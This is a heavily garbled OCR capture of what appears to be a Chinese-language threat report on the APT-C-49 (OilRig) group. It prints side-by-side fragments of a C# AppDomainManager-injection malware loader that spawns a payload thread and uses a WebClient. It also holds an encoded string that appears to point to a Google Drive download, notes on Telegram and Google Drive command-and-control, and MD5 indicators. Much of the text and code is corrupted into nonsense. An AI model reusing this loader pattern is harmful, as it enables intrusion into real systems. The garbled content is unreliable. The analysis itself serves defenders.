1  aHR@cHM6LyIkcml2ZS5nb29nbGUuY29tL3ViP2V4cGIydD1kb3dubGOhZCZpZD@xSWSnLXFEC1ZXZE1LUEdPVORQTVhNUURWR3INGRXBAVGA=

ﬁ 0 stars

fr 0 stars

Y7 0 stars

¥ 0 stars

Y7 0 stars

Y 0 stars

¥ 0 stars

BT BEFRTT , BT MANEIFIFRSASTHF , BT ERNEFMNE DLLAA R, XA ENESIE
BT REMZ AL EXELUEE.

public sealed class AppVStreamingUXMainOff : AppDomainManager & public sealed class AppVStreamingUXCore : AppDomainManager
public override void InitializeNewDomain(AppDomainSetup appDomainInfo) public override veid InitializeNewDomain(AppDomainSetup appDomainInfo)
{ {
=} File.WriteAllText("bdddb.txt™, "aa");
Thread payloadThread = new Thread(new ThreadStart(Core.ExecuteCorelogic)); Thread payloadThread = new Thread(new ThreadStart(Core.ExecuteCoreLogic));
payloadThread.IsBackground = false; payloadThread.IsBackground = false;
payloadThread.Start(); payloadThread.Start();
Thread.Sleep(Timeout.Infinite); Thread.Sleep(Timeout.Infinite);
// new Thread(() => Core.ExecuteCorelogic()).Start(); -] // new Thread(() => Core.ExecuteCorelogic()).S5tart();
} }
} AIRPER }
R MEAFER
public static class Core public static class Core i
{
static string token = string.Empty; static string token = string.Empty;
static string apiUrl = string.Empty; static string apiUrl = string.Empty;
static WebClient cli = new WebClient(); -] static WebClient client = new WebClient();
static JavascriptSerializer json = new JavaScriptSerializer(); static JavascriptSerializer json = new JavascriptSerializer();
private static readonly string LockFilePath = private static readonly string LockFilePath =
Path.Combine (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationDate Lath Cosbine(Eoud LGetEal Enxd Saecialfaldec localipplicationData),

B ARG EERFERAT , LREVIRBRRIPITAR R, RERSA R R R e W i S

Names .Get_WindowsType_6739(), "ImageConfigFiles.Lock"); Names.Get_WindowsType_6739(), “ImageConfigFile test.lock™);

/] remove test

—&

=)=

W, AR AMERER S TRXINER SAPTMNRESN S E— , BAERINT :
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1. VITABATFIAPT 4R AR B AR IR S — BN | ZBAEXCel W TAEEEHEAEEANA A |, 3F
B#EpiS Bsheeti®fE (MAFHEAR AT WMV KKILR DAEAESBRZ | ZIRBERFLR 5T S E T4
NERRKENE] , TRERT XA FAESNSSwiEpayload) . IS , EEENRWEHESES—
VBAZ=+Baseb64fi#hY ( \UserForma,CustomXMLPartsiZEl) +5 \.exe+[@4.confight& X 4+XMLE X
KIRERHES (schtasksEiSchedule.Service) + NETEfHIT. AEEREAMHFA AR, BIRATLELE
BUARFFAMKIER L SAPTIA B HEARFF—3 , S ARG S TREUAFE.

2 B FR AN BT BAE A S TAREELESRE , AREAAREN T RLUERER
Telegram{ i C2 51 SRALEREAT S,

3. TR AAREER ARSI EABSFERINEER , RARSEUEINENSE , 48
Bk Y.

SRERTR | AR T HEEIAPT-C-49 (OilRig) £H4R,

B4k

APT-C-49 (OilRig) ITERFFEXTHBEFEHITIEH SR , BEEIE XReE GRS ITARIA L
Bkt AR R AR ExcelZ= A& [ISaitama loader , B B A S EREEN. SRS KRS
FRER AR S M ERBEHE , FHIEREM A E® TXHSNERITHERER, @idF) A Google Drive,
GitHub, Telegram &5 FAITELEN AS5C2B(5 , OlRigEMEK T iSSiT N RER |, AN
HH4TY EDR SR MM EIE N AE

BUANAS SO 2B RS R BRI i A2 S 3 |, B XS HEARBHATHRIRA AT , FEHEA -

TR AR ITO TR, ANURERFREREER  £RE TIEPERERMER R, Bt
ARG  BARREMEZSTOIFNERN TEZAE , ERSREEMNER RN,

fft3% 1I0CMD5

717da2804144e9759c4e6409f18b7b4b
07aa715f8a6f56a96476aaelebca17c7
d0d17a50422e3d4a0a50fed0878a47d6
ca002f49f3d5ee36ded21e235e8d04e7

9c0409be11a6c4433896db58e7095464

%

https://www.threatdown.com/blog/apt34-targets-jordan-government-using-new-saitama-backdoor/
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360 M : www.360.cn
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